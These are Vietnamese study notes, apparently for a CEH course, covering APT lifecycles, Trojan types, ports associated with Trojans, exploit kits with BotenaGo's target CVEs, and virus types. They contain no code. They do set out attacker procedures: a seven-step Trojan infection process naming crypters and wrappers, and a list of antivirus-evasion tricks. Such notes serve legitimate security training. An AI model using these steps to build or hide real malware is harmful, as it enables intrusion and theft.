- **Mức chịu rủi ro (Risk Tolerance):** Mức độ tấn công vẫn không bị phát hiện. Được lên kế hoạch kỹ lưỡng để duy trì ẩn danh lâu dài.
- **Kỹ năng và phương pháp (Skills and Methods):** Dùng social engineering, kỹ thuật lẩn tránh và duy trì truy cập dài hạn.
- **Hành động (Actions):** Chuỗi hành động kỹ thuật đặc thù giúp duy trì hiện diện và xuất (extract) càng nhiều dữ liệu càng tốt.
- **Nguồn điểm xuất phát tấn công (Attack Origination Points):** Nhiều lần thử xâm nhập. Cần nghiên cứu kỹ để vượt qua các chức năng "người gác cổng".
- **Số lượng host liên quan (Numbers Involved):** APT thường nhắm vào nhiều hệ thống host và được thực hiện bởi một tổ chức tội phạm.
- **Nguồn thông tin (Knowledge Source):** Thu thập thông tin từ các nguồn OSINT về các mối đe dọa cụ thể.
- **Nhiều pha (Multi-phased):** Gồm nhiều giai đoạn như trinh sát, truy cập, khám phá, bắt giữ và xuất dữ liệu.
- **Tùy chỉnh theo lỗ hổng (Tailored to Vulnerabilities):** Mã độc được viết riêng để nhắm vào các lỗ hổng cụ thể của mạng nạn nhân.
- **Nhiều điểm vào (Multiple Points of Entries):** Kẻ tấn công tạo nhiều điểm truy cập thông qua máy chủ để duy trì mạng. Nếu một điểm bị vá, chúng dùng điểm khác.
- **Né hệ thống IDS dựa trên chữ ký (Evading Signature-Based Detection Systems):** Dùng zero-day exploits chưa từng được biết đến, dễ dàng qua mặt firewall, IDS/IPS, antivirus.
- **Dấu hiệu cảnh báo cụ thể (Specific Warning Signs):** Vô cùng khó phát hiện, chỉ xuất hiện các dấu hiệu như hoạt động tài khoản bất thường, backdoor Trojan ẩn, tải lên/tải xuống tệp lạ, v.v.
- **Nhắm mục tiêu cao (Highly Targeted):** Không tấn công ngẫu nhiên, mà chọn cơ quan chính phủ, quân đội, hạ tầng thiết yếu.
- **Thời gian tham gia dài hạn (Long-term Engagement):** Nhằm mục đích hiện diện lâu dài thay vì trục lợi nhanh chóng.
- **Kỹ thuật tiên tiến (Use of Advanced Techniques):** Malware tinh vi, spear-phishing, zero-days, rootkits.
- **Cơ sở hạ tầng C2 phức tạp (Complex C2 Infrastructure):** Mạng lưới Command and Control dự phòng, xáo trộn phức tạp để chống lại việc bị triệt phá (takedown).

Chu kỳ sống của APT (APT Lifecycle) [Trang 1014 - 1016]:

1. **Preparation (Chuẩn bị):** Xác định mục tiêu, nghiên cứu sâu, tổ chức nhóm, tạo/mua công cụ và thử nghiệm tránh bị phát hiện.
2. **Initial Intrusion (Xâm nhập ban đầu):** Xâm nhập bằng email spear-phishing hoặc khai thác máy chủ công cộng. Triển khai mã độc để thiết lập kết nối ra bên ngoài (outbound connection).

3. **Expansion (Mở rộng):** Mở rộng quyền truy cập và trích xuất thông tin xác thực (credentials). Lợi dụng hệ thống đã bị xâm phạm để truy cập nhiều hệ thống khác trong mạng. Thiết lập cơ sở cho việc cài đặt cơ chế duy trì.
4. **Persistence (Duy trì truy cập):** Né tránh tường lửa/IDS, sử dụng malware tùy chỉnh, công cụ đóng gói lại và giấu mã độc ở những nơi ít bị kiểm tra (như router, server, máy in) để duy trì truy cập.
5. **Search & Exfiltration (Tìm kiếm và Đánh cắp dữ liệu):** Mục tiêu tối thượng. Tìm kiếm tài liệu mật, email và xuất chúng ra ngoài. Thường dùng mã hóa để lách qua hệ thống chống thất thoát dữ liệu (DLP).
6. **Cleanup (Dọn dẹp):** Che giấu dấu vết (Cover tracks), khôi phục thuộc tính tệp (file size, date) để đánh lừa chuyên gia bảo mật và tiếp tục không bị phát hiện.

4. Trojans [Trang 1017 - 1020]

Trojan là một chương trình trong đó các mã độc hại hoặc nguy hiểm được ẩn giấu bên trong một chương trình hoặc dữ liệu có vẻ vô hại, khi kích hoạt có thể chiếm quyền điều khiển và gây ra thiệt hại.

Đặc điểm hoạt động của Trojan:

- Trojan không tự nhân bản (như virus) mà phụ thuộc vào việc lừa người dùng thực hiện một hành động (như click link, tải file đính kèm).
- Hoạt động cùng mức quyền của người dùng: Nếu nạn nhân có quyền quản trị viên, Trojan cũng sẽ có quyền tương tự để sửa đổi file hệ thống, cài đặt mã độc khác, xóa dữ liệu, leo thang đặc quyền (privilege elevation).
- **Cách Hacker sử dụng Trojan [Trang 1020]:** Xóa/thay thế file OS quan trọng, tạo lưu lượng giả để tấn công DoS, chụp ảnh màn hình, ghi âm, lấy cắp thông tin (mật khẩu, thẻ tín dụng), tạo backdoor, dùng PC nạn nhân làm proxy hoặc botnet (DDoS).
- **Dấu hiệu nhận biết Trojan (Indications of Trojan Attack) [Trang 1018 - 1019]:**
  - Màn hình máy tính nhấp nháy, lật ngược hoặc hiển thị ngược.
  - Hình nền hoặc thiết lập thay đổi tự động.
  - Máy in tự tự động in tài liệu.
  - Các trang web tự động mở.
  - Cài đặt màu sắc OS thay đổi, âm thanh tự động biến động.
  - Antivirus tự động bị vô hiệu hóa, ngày/giờ hệ thống bị đổi.
  - Chuột tự di chuyển, chức năng chuột trái/phải bị đảo lộn, nút Start biến mất.
  - Cửa sổ bật lên với thông báo kỳ lạ, lỗi in ấn.
  - CPU và RAM tăng đột biến (Trojan chạy ngầm).
  - Tự động mã hóa tệp/ứng dụng (ransomware behavior).

Cổng thường dùng bởi Trojan (Common Ports used by Trojans) [Trang 1021 - 1024]: Trojans mở các cổng nhất định (để ở trạng thái listening) chờ kết nối từ kẻ tấn công để truyền tải dữ liệu hoặc nhận lệnh. Dưới đây là danh sách kết hợp phổ biến và ít gặp:

- **Cổng 20/22/80/443:** Emotet.
- **Cổng 21/3024/4092/5742:** Blade Runner, WinCrash.
- **Cổng 23:** Tiny Telnet Server, EliteWrap.
- **Cổng 25:** Antigen, Terminator, Kuang2, Lazarus Group.

- **Cổng 53:** Denis, FIN7, Lazarus Group, Tropic Trooper.
- **Cổng 80:** Necurs, Poison Ivy, Carbanak, FIN7, MirageFox.
- **Cổng 139:** Nuker, Dragonfly 2.0.
- **Cổng 443:** ADVSTORESHELL, APT 29, APT 3, Carbanak, gh0st RAT, PlugX, TrickBot.
- **Cổng 445:** WannaCry, Petya, Dragonfly 2.0.
- **Cổng 666:** Satanz Backdoor, Ripper.
- **Cổng 3389:** RDP Trojans.
- **Cổng 8080:** Zeus, APT 37, FIN7, Magic Hound, OceanSalt.
- **Cổng 12345-46:** GabanBus, NetBus.
- **Cổng 31337-38:** Back Orifice, Deep BO.
- **Cổng 9989:** iNi-Killer
- **Cổng 10048:** Delf
- **Cổng 10100:** Gift
- **Cổng 10607:** Coma 1.0.9
- **Cổng 11000:** Senna Spy
- **Cổng 11223:** Progenic Trojan
- **Cổng 12223:** Hack'99 KeyLogger
- **Cổng 12361, 12362:** Whack-a-mole
- **Cổng 16969:** Priority
- **Cổng 20001:** Millennium
- **Cổng 20034/1120:** NetBus 2.0, Beta-NetBus 2.01
- **Cổng 21544:** GirlFriend 1.0, Beta-1.35
- **Cổng 22222:** Rux
- **Cổng 23432:** Asylum
- **Cổng 23456:** Evil FTP, Ugly FTP
- **Cổng 25685:** Moon Pie
- **Cổng 26274:** Delta
- **Cổng 30100-02:** NetSphere 1.27a
- **Cổng 31666:** BOWhack
- **Cổng 34324:** BigGluck, TN
- **Cổng 40412:** The Spy
- **Cổng 40421-26:** Masters Paradise
- **Cổng 47262:** Delta
- **Cổng 50766:** Fore
- **Cổng 53001:** Remote Windows Shutdown

- **Cổng 54321:** SchoolBus .69-1.11
- **Cổng 61466:** Telecommando
- **Cổng 65000:** Devil

Các loại Trojan (Types of Trojans) [Trang 1024 - 1044]

- **Remote Access Trojan (RAT)** [Trang 1025 - 1026]: Cung cấp cho kẻ tấn công toàn quyền kiểm soát hệ thống của nạn nhân, cho phép truy cập tệp, cuộc trò chuyện riêng tư và dữ liệu kế toán từ xa. Kẻ tấn công cài đặt máy chủ Trojan trên máy nạn nhân và thiết lập kết nối đảo ngược (reverse connection) để vượt qua tường lửa.
  - Ví dụ: Remcos RAT sử dụng chiến thuật phát tán qua tệp ổ đĩa ảo (.vhd) chứa tập lệnh PowerShell có tên "MacOSX.ps1". Nó ngụy trang tệp PDF thành PNG và tải xuống mã độc ẩn trong tệp hình ảnh. Các RAT khác: Parallax, AsyncRAT, Xeno, Kedi, AhMyth, MagicRAT.
  - *(Bổ sung danh sách RATs):* NetSupport RAT, StrRAT and Ratty, MINEBRIDGE.
- **Backdoor Trojans** [Trang 1027 - 1028]: Giúp kẻ tấn công vượt qua các cơ chế xác thực tiêu chuẩn (IDS, tường lửa) mà không bị phát hiện. Thường được sử dụng ở giai đoạn thứ 2 (điểm truy cập) hoặc thứ 3 (C&C) trong quá trình tấn công. Điểm khác biệt so với RAT là Backdoor không có giao diện người dùng (GUI) dành cho client.
  - Ví dụ: TinyTurla-NG (TTNG) được nhóm APT Turla sử dụng để đánh cắp dữ liệu. Nó sử dụng các trang web WordPress bị xâm phạm làm điểm cuối C2 và tạo sự bền bỉ thông qua tệp batch hoặc dịch vụ Windows giả mạo tên là "sdm". Các loại khác: SmokeLoader, BazarLoader, Kovter.
  - *(Bổ sung danh sách Backdoor Trojans):* POWERSTATS v3, RogueRobin, ServHelper, SpeakUp, Winnti backdoor, Daxin, SysJoker, PortDoor, GoldenSpy.
- **Botnet Trojans** [Trang 1028 - 1030]: Lây nhiễm trên số lượng lớn máy tính để tạo thành mạng lưới bot (bot herd), kết nối ngược về kẻ tấn công qua kênh IRC để chờ lệnh. Chúng có thể có chức năng của worm để tự lây lan và thường dùng cho DDoS, gửi spam, hoặc gian lận nhấp chuột.
  - Ví dụ: RDDoS có khả năng phân biệt thiết bị thật và sandbox. Nó thực thi lệnh dựa trên giá trị byte đầu tiên (vd: "0x04" sẽ thực thi qua `/bin/sh`, từ "0x05" đến "0x09" sẽ thực thi chức năng DDoS).
  - *(Bổ sung danh sách Botnet Trojans):* Horabot, hailBot, kiraiBot, catDDoS, ZeroBot, XorDdos, Nexus Android botnet, Satori, Torii botnet, Qakbot, Hide n Seek, Ramnit, Panda, BetaBot.
- **Rootkit Trojans** [Trang 1030 - 1031]: "Root" tương đương với quyền "administrator". Rootkit ẩn ở mức hệ điều hành hoặc kernel, không thể bị phát hiện bằng cách quan sát danh sách dịch vụ hay task manager. Nó là một phần của mối đe dọa hỗn hợp (blended threat) bao gồm 3 phần: dropper, loader và rootkit.
  - Ví dụ: Reptile Rootkit nhắm mục tiêu Linux, cung cấp reverse shell và tính năng "port knocking" (mở một cổng chờ gói tin ma thuật để kết nối với C2). Các loại khác: CEIDPageLock, Wingbird, GrayFish.
- **E-banking Trojans** [Trang 1031 - 1034]: Đánh cắp thông tin tài khoản nạn nhân trước khi hệ thống có thể mã hóa chúng. Chúng đánh cắp số tiền nhỏ để tránh bị nghi ngờ và tạo ảnh chụp màn hình số dư giả.
  - Cơ chế: TAN Grabber (Đánh cắp mật khẩu dùng một lần), HTML Injection (Tạo trường biểu mẫu giả mạo), Form Grabber (Đánh cắp dữ liệu từ POST requests), và Covert Credential Grabber (Nằm im cho đến khi người dùng giao dịch).
  - Ví dụ: CHAVECLOAK ngụy trang file ZIP thành PDF, dùng kỹ thuật DLL side-loading để đóng băng màn hình, ghi lại thao tác phím và tạo pop-up lừa đảo. Các loại khác: Grandoreiro, Ursnif, Ramnit, IcedID, Emotet, Nexus, DanaBot, Qakbot (Qbot).

- **Point-of-Sale (PoS) Trojans** [Trang 1034 - 1035]: Nhắm mục tiêu vào thiết bị thanh toán POS và đầu đọc thẻ. Chúng cố gắng lấy thông tin TRACK1 và TRACK2 chứa dữ liệu quan trọng của thẻ tín dụng.
  - Ví dụ: Prilex POS do nhóm tin tặc Brazil tạo ra, có khả năng tạo tiền điện tử (EMV cryptograms) mới để qua mặt hệ thống chống gian lận (PIN hoặc CHIP). Kẻ tấn công thậm chí giả danh kỹ thuật viên POS cài đặt chúng qua AnyDesk. (Các POS Trojans khác): LockPOS, BlackPOS, FastPOS, PunkeyPOS, CenterPOS, MalumPOS.
- **Defacement Trojans** [Trang 1035 - 1036]: Thay đổi nội dung, định dạng HTML cơ bản của cơ sở dữ liệu hoặc trang web. Kẻ tấn công sử dụng các công cụ "Resource editors" (ví dụ: Restorator) để xem, trích xuất và thay thế chuỗi, bitmap, logo trong các chương trình Windows biên dịch.
- **Tính năng của Restorator:** Tiện ích này cho phép người dùng Dịch thuật các ứng dụng hiện có (Translate existing applications/localization), Tùy chỉnh giao diện (Customize the look and feel), Thay thế logo và biểu tượng (branding), Nâng cao khả năng kiểm soát đối với các tệp tài nguyên trong quá trình phát triển phần mềm, và Xâm nhập vào các hoạt động bên trong (inner workings) của các ứng dụng trên máy tính.
- **Service-Protocol Trojans** [Trang 1037 - 1040]: Lợi dụng các giao thức dịch vụ dễ bị tổn thương để giao tiếp.
  - VNC Trojans: Khởi chạy VNC server ẩn (HVNC module) để kẻ tấn công truy cập cấp độ người dùng mà AV khó phát hiện.
  - HTTP/HTTPS Trojans: Bỏ qua tường lửa bằng cách hoạt động theo hướng đảo ngược (máy nạn nhân tự gọi ra ngoài web server của kẻ tấn công ở cổng 80/443). Ví dụ: SHTTPD, HTTP RAT.
  - ICMP Trojans: Lợi dụng lỗ hổng ICMP tunneling (dùng gói ICMP_ECHO và ICMP_ECHOREPLY) để truyền tải payload một cách lén lút vì tường lửa thường không kiểm tra nội dung gói ICMP.
- **Mobile Trojans** [Trang 1040 - 1041]: Nhắm vào điện thoại di động để đánh cắp thông tin ngân hàng, mạng xã hội, khóa thiết bị.
  - Ví dụ: Chameleon là trojan ngân hàng nhắm vào Android, phân phối qua trang lừa đảo. Nó khai thác quyền Trợ năng (Accessibility Service privileges) để thực hiện tấn công chiếm quyền thiết bị (DTO) và chiếm tài khoản (ATO). (Các Mobile Trojans khác): Vultur, PixPirate, GoldPickaxe, GoldDigger, SpyNote, Anatsa, Xenomorph.
- **IoT Trojans** [Trang 1041 - 1042]: Lợi dụng botnet để tấn công các thiết bị IoT.
  - Ví dụ: OpenSSH Trojan nhắm vào hệ thống Linux/IoT để cài đặt phần mềm đào tiền ảo (cryptomining). Nó dùng tên miền phụ của một ngân hàng Đông Nam Á làm máy chủ C2, cài đặt rootkit và IRC bot.
  - *(Bổ sung danh sách IoT Trojans):* Bashlite, Gafgyt, Katana, BotenaGo, Dark Nexus, Mirai, Ttint, XorDdos, Mozi, Silex BrickerBot.
- **Security Software Disabler Trojans** [Trang 1043]: Ngăn chặn hoạt động của các chương trình bảo mật (AV, firewall, IDS) bằng cách vô hiệu hóa hoặc tiêu diệt tiến trình. Đây là các Trojan "đầu vào" mở đường cho các cuộc tấn công tiếp theo. Ví dụ: Chameleon, CertLock, GhostHook.
- **Destructive Trojans** [Trang 1043]: Mục đích duy nhất là xóa file, thư mục, registry và làm hỏng hệ điều hành. Thường được viết dưới dạng tệp batch chứa lệnh "DEL", "DELTREE" hoặc "FORMAT". Ví dụ: SilverRAT, HermeticWiper, WhisperGate.
  - *(Bổ sung danh sách Destructive Trojans):* FoxBlade.
- **DDoS Trojans** [Trang 1043]: Biến nạn nhân thành zombie chờ lệnh từ máy chủ DDoS để đồng loạt làm ngập lụt mục tiêu bằng yêu cầu hợp pháp hoặc spam email. Ví dụ: Mirai, RDDoS, Horabot, hailBot.

- **Command Shell Trojans** [Trang 1044]: Cung cấp quyền kiểm soát shell lệnh từ xa trên máy nạn nhân bằng cách mở một cổng để kẻ tấn công kết nối vào. Ví dụ: Netcat, DNS Messenger, GCat.

Cách lây nhiễm bằng Trojan (How to Infect Systems Using a Trojan) [Trang 1045 - 1046, 1048 - 1051]

Tin tặc thường lây nhiễm Trojan theo 7 bước quy chuẩn sau:

1. **Bước 1: Tạo trojan (Create a new Trojan packet)** [Trang 1047-1048]: Kẻ tấn công tạo một gói Trojan mới sử dụng các công cụ (Construction Kits) như njRAT, THorse, Trojan Horse Construction Kit, Umbra loader, VenomRAT. njRAT đặc biệt mạnh trong việc đánh cắp dữ liệu, ghi thao tác phím, truy cập camera và kiểm soát botnet. Việc tự tạo Trojan mới giúp nó qua mặt các phần mềm diệt virus vì chưa có chữ ký nhận diện.
2. **Bước 2: Tạo dropper hoặc downloader** [Trang 1048-1049]: Kẻ tấn công dùng Dropper (như Amadey, SecuriDropper, PindOS, SharkBot) để ẩn giấu payload mã độc bên trong một tệp có vẻ hợp pháp. Dropper mang theo sẵn mã độc. Hoặc dùng Downloader (như Downloader.DN, Fruity, InfoStealer.XY) là tệp chỉ chứa liên kết để tải Trojan thực sự từ máy chủ của kẻ tấn công.
3. **Bước 3: Dùng Wrapper** [Trang 1049-1050]: Trình bao bọc (Wrapper/Glueware) giúp liên kết tệp thực thi Trojan với một tệp hợp pháp (như tệp cài đặt game, máy tính cầm tay, thiệp chúc mừng). Ví dụ công cụ: IExpress wizard, GuLoader, RDP Wrapper, SystemBC, Trickbot, FinFisher.
   - **IExpress Wizard:** IExpress Wizard là một chương trình bao bọc hướng dẫn người dùng tạo ra một gói tự giải nén / tự cài đặt (self-extracting / self-installing package) có thể tự động cài đặt các tệp setup, Trojans, v.v. được nhúng vào. IExpress có thể tự động xóa các tệp setup sau khi thực thi để xóa dấu vết của Trojan. Các Trojan được nhúng bằng cách này rất khó bị phần mềm diệt virus phát hiện.
4. **Bước 4: Dùng Crypter** [Trang 1051]: Bộ mã hóa (Crypter) được dùng để mã hóa mã nhị phân (.exe) của Trojan nhằm né tránh sự phát hiện của tường lửa, IDS và AV. Ví dụ công cụ: Attacker-Crypter (cho phép chạy mã PowerShell riêng), Muck Crypter, Pure Crypter, DarkTortilla, Line Crypter, Trickbot/Conti.
5. **Bước 5: Phát tán/Lan truyền (Propagate)** [Trang 1051-1054]: Trojan được lan truyền qua nhiều phương thức:
   - **Email:** Lừa nạn nhân nhấp vào liên kết hoặc tải tệp đính kèm để Trojan tự động cài đặt kết nối ngược về máy chủ C2.
   - **Kênh ngầm (Covert Channels):** Sử dụng các đường dẫn ẩn, trái phép như kỹ thuật tunneling qua DNS, SSH, ICMP, HTTP/S để truyền dữ liệu và né IDS.
   - **Bảng so sánh Kênh công khai (Overt Channel) và Kênh ngầm (Covert Channel):**

Tiêu chí	Kênh công khai (Overt Channel)	Kênh ngầm (Covert Channel)
Định nghĩa	Một đường truyền liên lạc hợp pháp trong hệ thống máy tính hoặc mạng để chuyển giao dữ liệu.	Kênh truyền tải thông tin trong hệ thống máy tính hoặc mạng theo cách vi phạm các chính sách bảo mật.
Mức độ khai thác	Các thành phần nhàn rỗi (idle components) của nó có thể bị lợi dụng để tạo ra một kênh ngầm.	Một ví dụ về kênh ngầm là sự giao tiếp giữa Trojan và trung tâm điều khiển (C&C) của nó.

   - **Proxy Servers:** Lây nhiễm và biến máy tính nạn nhân thành máy chủ proxy ẩn để kẻ tấn công phát tán Trojan mà không bị lộ dấu vết.
   - **USB/Flash drive:** Cố tình đánh rơi USB chứa mã độc để nạn nhân nhặt và cắm vào máy.

6. **Bước 6: Triển khai (Deploy):** Kẻ tấn công chạy dropper hoặc downloader trên máy của nạn nhân để giải nén và triển khai các tệp tin đã được wrapper và mã hóa.
7. **Bước 7: Kích hoạt routine gây hại (Execute damage routine):** Trojan thực thi payload để phá hoại, xóa tệp, mở cổng, hoặc thiết lập tín hiệu báo hiệu (beaconing).

Chiến thuật né tránh Phần mềm diệt virus (Techniques for Evading Antivirus Software) [Trang 1054 - 1055]

Để ngăn chặn việc AV hoặc máy quét nhận diện và xóa Trojan, kẻ tấn công áp dụng các thủ thuật tinh vi:

- **Chia nhỏ và nén:** Chia tệp Trojan thành nhiều phần nhỏ và nén (zip) chúng lại thành một tệp duy nhất.
- **Nhúng vào ứng dụng hợp pháp:** Luôn viết và nhúng Trojan vào một ứng dụng hợp lệ vì cơ sở dữ liệu AV có thể không nhận ra chữ ký mới.
- **Thay đổi cú pháp/định dạng tệp:** Chuyển đổi tệp EXE thành kịch bản VB script (vbs); hoặc thay đổi phần mở rộng tệp từ .EXE thành các dạng ẩn như .DOC, .PPT, .EXE, hoặc .PDF.EXE (vì Windows mặc định ẩn đuôi tệp).
- **Sửa nội dung bằng HEX editor:** Can thiệp trực tiếp vào mã hex của Trojan để thay đổi nội dung.
- **Thay checksum và mã hóa file:** Thay đổi mã băm toàn vẹn (checksum) và mã hóa nội dung tệp.
- **Tránh dùng Trojan có sẵn:** Không bao giờ sử dụng trực tiếp các Trojan tải xuống từ web vì phần mềm diệt virus có thể phát hiện chúng cực kỳ dễ dàng.
- **Dùng Binder/Splitter:** Sử dụng công cụ chia tách và gắn kết để thay đổi một vài byte đầu tiên (first few bytes) của chương trình Trojan.
- **Làm rối hoặc biến hình (Obfuscation / Morphing):** Thay đổi hình thái mã độc để ngăn phần mềm diệt virus phân biệt được đâu là chương trình độc hại, đâu là chương trình vô hại.

1. Bộ công cụ khai thác (Exploit Kits) [Trang 1055 - 1058]

Bộ công cụ khai thác (crimeware toolkit) được sử dụng để khai thác các lỗ hổng bảo mật trong các phần mềm ứng dụng (như Adobe Reader, Adobe Flash Player) nhằm phân phối phần mềm độc hại (spyware, virus, trojan, worm, buffer overflow scripts) vào hệ thống đích. Chúng cung cấp mã khai thác viết sẵn, giao diện thân thiện, nhắm mục tiêu vào các trình duyệt, lỗ hổng zero-day và hệ thống chạy phần mềm lỗi thời.

Quy trình hoạt động chung: Nạn nhân truy cập một trang web hợp pháp bị xâm phạm $\backslash rightarrow$ Bị chuyển hướng qua các máy chủ trung gian $\backslash rightarrow$ Nạn nhân vô tình truy cập vào trang đích của máy chủ exploit kit $\backslash rightarrow$ Exploit kit thu thập thông tin nạn nhân để chọn mã khai thác phù hợp $\backslash rightarrow$ Tải xuống và thực thi malware.

Ví dụ tiêu biểu: BotenaGo Exploit Kit [Trang 1056 - 1057]

- Viết bằng ngôn ngữ lập trình Go, chứa hơn 30 biến thể khai thác và có khả năng tấn công hàng triệu thiết bị IoT/router trên toàn thế giới.
- Phát hiện lần đầu tháng 11/2021 và hoạt động giống như Mirai botnet.
- Kẻ tấn công đặt backdoor qua cổng 31412 bằng yêu cầu GET và lắng nghe phản hồi qua cổng 19412. Nó có thể khai thác tới 33 lỗ hổng trong giai đoạn khởi tạo (ví dụ: các thiết bị DrayTek, D-Link, Netgear, ZTE) và triển khai Mirai malware qua các liên kết.
- **Một số lỗ hổng (Vulnerabilities) phổ biến bị khai thác bởi BotenaGo:**
  - **CVE-2020-8515 / CVE-2020-8958**: Các thiết bị DrayTek Vigor, thiết bị Guangzhou 1GE ONU.

  - **CVE-2015-2051**: D-Link DIR-645 Wired/Wireless Router.
  - **CVE-2016-1555 / CVE-2017-6077 / CVE-2016-6277 / CVE-2017-6334**: Hàng loạt thiết bị NETGEAR (WN604, DGN2200, R6250, R7000, v.v.).
  - **CVE-2018-10561, CVE-2018-10562**: GPON home routers.
  - **CVE-2013-3307**: Linksys X3000.
  - **CVE-2020-9377 / CVE-2016-11021**: D-Link DIR-610, DCS-930L.
  - **CVE-2018-10088**: XiongMai uc-httpd.
  - **CVE-2020-10173**: Comtrend VR-3033.
  - **CVE-2013-5223**: D-Link DSL-2760U Gateway.
  - **CVE-2019-19824**: Các bộ định tuyến dựa trên TOTOLINK Realtek SDK.
  - **CVE-2020-10987**: Tenda AC15 AC1900.
  - **CVE-2020-9054**: Đa dạng các thiết bị lưu trữ mạng (NAS) ZyXEL.
  - **CVE-2017-18368**: Bộ định tuyến ZyXEL P660HN-T1A v1.
  - **CVE-2014-2321**: Cáp modem ZTE F460 và F660.
- **Đặc điểm kỹ thuật khai thác của BotenaGo:**
  - Không có giao tiếp chủ động (No active communication) với bộ phận command-and-control (C&C) trong quá trình khai thác.
  - Các khai thác dựa trên việc ánh xạ hàm khai thác (Exploits based on exploitation function mapping).

Các Exploit kit khác [Trang 1058]: Lord, Underminer Exploit Kit, RIG Exploit kit, Magnitude, Angler, Fallout, Nuclear, Neutrino, Terror, Sundown.

2. Virus và Worms (Viruses and Worms) [Trang 1059 - 1092]

VIRUS [Trang 1059 - 1083]

Virus là một chương trình tự nhân bản (self-replicating) bằng cách đính kèm bản sao của chính nó vào mã thực thi khác và hoạt động mà người dùng không hề hay biết. Chúng lây nhiễm các file như `.OVL`, `.EXE`, `.SYS`, `.COM`, `.BAT`.

Đặc điểm của virus [Trang 1060]:

- Lây nhiễm các chương trình khác (Infects other programs)
- Tự biến đổi (Transforms itself)
- Tự mã hóa (Encrypts itself)
- Thay đổi dữ liệu (Alters data)
- Hủy/hỏng file và chương trình (Corrupts files and programs)
- Tự nhân bản (Replicates itself)

Mục đích tạo virus [Trang 1060]: Gây thiệt hại cho đối thủ cạnh tranh, thu lợi tài chính, phá hoại sở hữu trí tuệ, chơi khăm, nghiên cứu, khủng bố mạng (cyber-terrorism), phân phát thông điệp chính trị, phá hoại mạng/máy tính, chiếm quyền truy cập từ xa.

Dấu hiệu virus tấn công [Trang 1060 - 1061]: Máy chạy chậm, máy tính kêu bíp không hiển thị hình ảnh, nhãn ổ đĩa thay đổi và OS không load được, cảnh báo AV liên tục, đóng băng (freezes) hoặc lỗi màn hình xanh (BSOD), mất file/thư mục, thiếu dung lượng lưu trữ, cửa sổ pop-up lạ, lỗi in ấn, xuất hiện các file có nhiều đuôi mở rộng (như `.txt.vbs`).

Vòng đời virus [Trang 1061]:

1. **Design**: Viết mã bằng ngôn ngữ lập trình hoặc dùng kit.
2. **Replication**: Nhân bản trong hệ thống và lây lan.
3. **Launch**: Kích hoạt khi người dùng thực hiện các hành động cụ thể.

(Nguồn bổ sung thêm: Vòng đời thường có 6 bước đầy đủ bao gồm: Creation/Design, Replication, Launch/Activation, Discovery, Assimilation/Incorporation (nhà cung cấp cập nhật chữ ký), và Eradication/Elimination (diệt virus). Tuy nhiên CEH thường tập trung thi ở 3 phase đầu hoặc 6 phase tổng quát tùy context)

Cách virus hoạt động [Trang 1061 - 1063]: Virus chia làm 2 pha: Pha lây nhiễm (Infection Phase) và Pha tấn công (Attack Phase).

- **Infection Phase**: Nạp vào bộ nhớ, kiểm tra tệp thực thi, nối mã độc vào chương trình hợp lệ. Khi người dùng vô tình chạy chương trình, mã độc thực thi và lây lan tiếp. Boot-sector virus thực thi trước cả khi hệ điều hành khởi động.
- **Attack Phase**: Xóa/biến đổi file dữ liệu làm chậm hệ thống, hoặc thực hiện các hành vi không liên quan (phát nhạc, hoạt ảnh).

Phương thức lây lan / Cách máy tính bị nhiễm [Trang 1063 - 1065]: Downloads từ web, File đính kèm qua email, Phần mềm lậu/bẻ khóa (cracked), Không cài phần mềm bảo mật, Không cập nhật bản vá, Trình duyệt cấu hình sai, Tắt Firewall, Pop-ups, Phương tiện lưu trữ tháo rời (USB), Truy cập mạng không an toàn (Wifi/Bluetooth), Quá trình Backup/Restore, Quảng cáo độc hại (malvertising), Mạng xã hội.

Các loại virus (23 loại) [Trang 1065 - 1077]:

- **System/Boot Sector:** Di chuyển MBR (Master Boot Record) sang vị trí khác trên đĩa cứng và sao chép chính nó vào vị trí MBR gốc để thực thi trước cả hệ điều hành.
- **File:** Lây nhiễm các tệp thực thi (.COM, .EXE, .SYS).
- **Multipartite:** Kết hợp lây nhiễm cả boot sector và tệp thực thi cùng lúc.
- **Macro (VBA):** Lây nhiễm tài liệu MS Office (Word, Excel) bằng cách sử dụng ngôn ngữ VBA.
- **Cluster:** Sửa đổi các con trỏ trong mục nhập thư mục (directory entry) để trỏ đến mã virus thay vì chương trình thực tế.
- **Stealth/Tunneling:** Chủ động thay đổi và làm hỏng các ngắt gọi dịch vụ (service call interrupts) để ẩn giấu khỏi phần mềm diệt virus.
- **Encryption:** Mã hóa mã độc bằng một khóa (key) khác nhau cho mỗi lần lây nhiễm để tránh bị nhận diện.
- **Sparse Infector:** Chỉ lây nhiễm thỉnh thoảng (ví dụ: ngày 15 hàng tháng) hoặc theo điều kiện để giảm thiểu xác suất bị phát hiện.
- **Polymorphic (Đa hình):** Sửa đổi mã của nó trong mỗi lần nhân bản bằng cách thay đổi mô-đun mã hóa và trình tự lệnh (sử dụng bộ tạo số ngẫu nhiên).
- **Metamorphic (Biến hình):** Viết lại hoàn toàn mã của chính nó (thêm dead code, đổi tên biến, xáo trộn lệnh) trong mỗi lần lây nhiễm để tệp nhị phân trông hoàn toàn khác nhau dù chức năng giữ nguyên.

- *Kỹ thuật biến đổi thân Virus Metamorphic:* Quá trình biến hình bao gồm các bộ phận: Disassembler (Trình dịch ngược), Expander (Trình mở rộng), Permutator (Trình hoán vị), Assembler (Trình hợp ngữ). Quá trình biến đổi diễn ra qua 6 bước:
  1. Chèn mã chết (Inserts dead code).
  2. Định hình lại các biểu thức (Reshapes expressions).
  3. Sắp xếp lại các lệnh (Reorders instructions).
  4. Sửa đổi tên biến (Modifies variable names).
  5. Mã hóa mã chương trình (Encrypts program code).
  6. Sửa đổi cấu trúc điều khiển chương trình (Modifies program control structure).

- **Overwriting/Cavity:** Ghi đè mã độc vào các khoảng trống (empty spaces) của tệp máy chủ mà không làm tăng kích thước tệp.
- **Companion/Camouflage:** Tạo một tệp .COM chứa mã độc có cùng tên với tệp .EXE hợp pháp. DOS sẽ ưu tiên chạy tệp .COM trước.
  - *Ví dụ về Companion Virus:* Giả sử virus quyết định lây nhiễm tệp `notepad.exe`. Nó sẽ tạo ra một tệp gọi là `notepad.com` chứa mã virus và đặt cùng thư mục với tệp `.exe`. Khi người dùng gõ `notepad` và nhấn Enter, hệ điều hành DOS/Windows sẽ thực thi `notepad.com` trước `notepad.exe` (theo thứ tự ưu tiên COM, EXE, BAT). Mã độc thực thi xong mới tải tiếp `notepad.exe` khiến nạn nhân không hề hay biết.
- **Shell:** Tạo một lớp vỏ bọc quanh mã của chương trình máy chủ mục tiêu.
